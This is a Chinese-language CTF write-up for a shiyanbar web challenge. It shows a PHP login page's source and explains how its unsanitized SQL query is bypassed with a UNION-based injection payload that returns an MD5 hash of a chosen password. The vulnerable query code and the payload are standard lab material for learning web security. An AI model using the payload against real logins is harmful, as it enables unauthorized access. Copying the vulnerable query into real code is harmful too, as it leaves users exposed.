程序逻辑问题 writeup
最近准备刷一下实验吧的题,抽空做个小记录
题目连接:http://ctf5.shiyanbar.com/web/5/index.php
题目就是登陆成功用户后获得flag
首先获得php源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 |
<html> <head> welcome to simplexue </head> <body> <?php if($_POST[user] && $_POST[pass]) { $conn = mysql_connect("********, "*****", "********"); mysql_select_db("phpformysql") or die("Could not select database"); if ($conn->connect_error) { die("Connection failed: " . mysql_error($conn)); } $user = $_POST[user]; $pass = md5($_POST[pass]); $sql = "select pw from php where user='$user'"; $query = mysql_query($sql); if (!$query) { printf("Error: %s\n", mysql_error($conn)); exit(); } $row = mysql_fetch_array($query, MYSQL_ASSOC); //echo $row["pw"]; if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) { echo "<p>Logged in! Key:************** </p>"; } else { echo("<p>Log in failure!</p>"); } } ?> <form method=post action=index.php> <input type=text name=user value="Username"> <input type=password name=pass value="Password"> <input type=submit> </form> </body> <a href="index.txt"> </html> |
其中
1 |
$sql = "select pw from php where user='$user'"; |
显然可以注入
接着往下看
1 2 3 4 5 6 |
$row = mysql_fetch_array($query, MYSQL_ASSOC); //echo $row["pw"]; if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) { echo "<p>Logged in! Key:************** </p>"; } |
这里把sql语句执行得到的数据放到row 并且判断其中的pw是否与输入的md5($_POST[pass]);相等
因为这里把用户和密码的判断分开 所以我们没法按常规注释掉密码的sql判断
但是因为row的数组结果是之前$sql的语句,所以我们其实可以通过sql注入生成一个密码来绕过
那就好办了,首先先试出来用户名为username
接下来构造sql语句
1 |
username' union select md5(123)# |
密码处填写123 成功拿到flag
近期评论